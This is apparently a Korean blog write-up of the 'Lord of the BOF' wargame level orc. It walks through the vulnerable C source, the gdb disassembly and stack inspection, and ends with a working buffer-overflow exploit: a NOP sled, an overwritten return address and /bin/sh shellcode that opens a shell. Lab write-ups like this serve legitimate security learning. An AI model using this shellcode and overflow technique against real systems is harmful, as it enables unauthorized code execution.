> [goblin@localhost goblin]$ cat orc.c /* The Lord of the BOF : The Fellowship of the BOF - orc - egghunter */ #include <stdio.h> #include <stdlib.h> extern char **environ; main(int argc, char *argv[]) { char buffer[40]; int i; if(argc < 2){ printf("argv error\n"); exit(0); } // egghunter for(i=0; environ[i]; i++) memset(environ[i], 0, strlen(environ[i])); if(argv[1][47] != '\xbf') { printf("stack is still your friend.\n"); exit(0); } strcpy(buffer, argv[1]); printf("%s\n", buffer); } |
대충 소스코드로 알 수 있는 것들은
-환경변수 사용 불가능
-argv[1][47]이 \xbf가 아니면 exit(0)이 작동된다
[goblin@localhost goblin]$ cd /tmp [goblin@localhost /tmp]$ gdb -q orc (gdb) set dis intel (gdb) disas main Dump of assembler code for function main: 0x8048500 <main>: push %ebp 0x8048501 <main+1>: mov %ebp,%esp 0x8048503 <main+3>: sub %esp,44 0x8048506 <main+6>: cmp DWORD PTR [%ebp+8],1 0x804850a <main+10>: jg 0x8048523 <main+35> 0x804850c <main+12>: push 0x8048630 0x8048511 <main+17>: call 0x8048410 <printf> 0x8048516 <main+22>: add %esp,4 0x8048519 <main+25>: push 0 0x804851b <main+27>: call 0x8048420 <exit> 0x8048520 <main+32>: add %esp,4 0x8048523 <main+35>: nop 0x8048524 <main+36>: mov DWORD PTR [%ebp-44],0x0 0x804852b <main+43>: nop 0x804852c <main+44>: lea %esi,[%esi*1] 0x8048530 <main+48>: mov %eax,DWORD PTR [%ebp-44] 0x8048533 <main+51>: lea %edx,[%eax*4] 0x804853a <main+58>: mov %eax,%ds:0x8049750 0x804853f <main+63>: cmp DWORD PTR [%eax+%edx],0 0x8048543 <main+67>: jne 0x8048547 <main+71> 0x8048545 <main+69>: jmp 0x8048587 <main+135> 0x8048547 <main+71>: mov %eax,DWORD PTR [%ebp-44] 0x804854a <main+74>: lea %edx,[%eax*4] 0x8048551 <main+81>: mov %eax,%ds:0x8049750 0x8048556 <main+86>: mov %edx,DWORD PTR [%eax+%edx] 0x8048559 <main+89>: push %edx 0x804855a <main+90>: call 0x80483f0 <strlen> 0x804855f <main+95>: add %esp,4 0x8048562 <main+98>: mov %eax,%eax 0x8048564 <main+100>: push %eax 0x8048565 <main+101>: push 0 0x8048567 <main+103>: mov %eax,DWORD PTR [%ebp-44] 0x804856a <main+106>: lea %edx,[%eax*4] 0x8048571 <main+113>: mov %eax,%ds:0x8049750 0x8048576 <main+118>: mov %edx,DWORD PTR [%eax+%edx] 0x8048579 <main+121>: push %edx 0x804857a <main+122>: call 0x8048430 <memset> 0x804857f <main+127>: add %esp,12 0x8048582 <main+130>: inc DWORD PTR [%ebp-44] 0x8048585 <main+133>: jmp 0x8048530 <main+48> ---Type <return> to continue, or q <return> to quit--- 0x8048587 <main+135>: mov %eax,DWORD PTR [%ebp+12] 0x804858a <main+138>: add %eax,4 0x804858d <main+141>: mov %edx,DWORD PTR [%eax] 0x804858f <main+143>: add %edx,47 0x8048592 <main+146>: cmp BYTE PTR [%edx],0xbf 0x8048595 <main+149>: je 0x80485b0 <main+176> 0x8048597 <main+151>: push 0x804863c 0x804859c <main+156>: call 0x8048410 <printf> 0x80485a1 <main+161>: add %esp,4 0x80485a4 <main+164>: push 0 0x80485a6 <main+166>: call 0x8048420 <exit> 0x80485ab <main+171>: add %esp,4 0x80485ae <main+174>: mov %esi,%esi 0x80485b0 <main+176>: mov %eax,DWORD PTR [%ebp+12] 0x80485b3 <main+179>: add %eax,4 0x80485b6 <main+182>: mov %edx,DWORD PTR [%eax] 0x80485b8 <main+184>: push %edx 0x80485b9 <main+185>: lea %eax,[%ebp-40] 0x80485bc <main+188>: push %eax 0x80485bd <main+189>: call 0x8048440 <strcpy> 0x80485c2 <main+194>: add %esp,8 0x80485c5 <main+197>: lea %eax,[%ebp-40] 0x80485c8 <main+200>: push %eax 0x80485c9 <main+201>: push 0x8048659 0x80485ce <main+206>: call 0x8048410 <printf> 0x80485d3 <main+211>: add %esp,8 0x80485d6 <main+214>: leave 0x80485d7 <main+215>: ret |
gdb로 확인해보면 딱히 dummy는 없는 것 같다
(gdb) b *main+189 Breakpoint 1 at 0x80485bd (gdb) r `python -c 'print "A"*47+"\xbf"+"B"*100'` Starting program: /tmp/orc `python -c 'print "A"*47+"\xbf"+"B"*100'` Breakpoint 2, 0x80485bd in main () (gdb) x/100x $esp ... 0xbffffdb4: 0x41414100 0x41414141 0x41414141 0x41414141 0xbffffdc4: 0x41414141 0x41414141 0x41414141 0x41414141 (gdb) 0xbffffdd4: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffffde4: 0x424242bf 0x42424242 0x42424242 0x42424242 0xbffffdf4: 0x42424242 0x42424242 0x42424242 0x42424242 0xbffffe04: 0x42424242 0x42424242 0x42424242 0x42424242 0xbffffe14: 0x42424242 0x42424242 0x42424242 0x42424242 0xbffffe24: 0x42424242 0x42424242 0x42424242 0x42424242 0xbffffe34: 0x42424242 0x42424242 0x42424242 0x42424242 0xbffffe44: 0x42424242 0x00000042 0x00000000 0x00000000 ... (gdb) q |
strcpy가 실행되는 부분에 브레이크를 걸고 argv[1][47]에 xbf가 들어가 조건에 걸리지 않게 해서 버퍼의 위치를 알아내보자
[goblin@localhost goblin]$ ./orc `python -c 'print "\x90"*44+"\xf4\xfd\xff\xbf"+"\x90"*100+ "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80 "'` ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ ▒1▒Ph//shh/bin▒▒PS▒▒1Ұ ̀ bash$ my-pass euid = 504 cantata |
argv[1]을 꽉 채우고 ret 주소에 argv[2]의 주소값을 넣는다
그리고 argv[2]에는 nop 코드와 쉘 코드를 넣는다
buffer의 크기가 SFP를 포함해 44이기 때문에 ret에 주소값을 넣으면 자동으로 argv[1][47]이 \xbf가 된다
피드백은 댓글로
'hacking > ftz/lob' 카테고리의 다른 글
lob golem->darknight(level12) + FPO (0) | 2017.09.27 |
---|---|
lob skeleton->golem(level11) + 공유라이브러리 (0) | 2017.09.24 |
lob gate->gremlin(level1) (0) | 2017.09.17 |
ftz level20 + Format String bug(FSB) (0) | 2017.09.10 |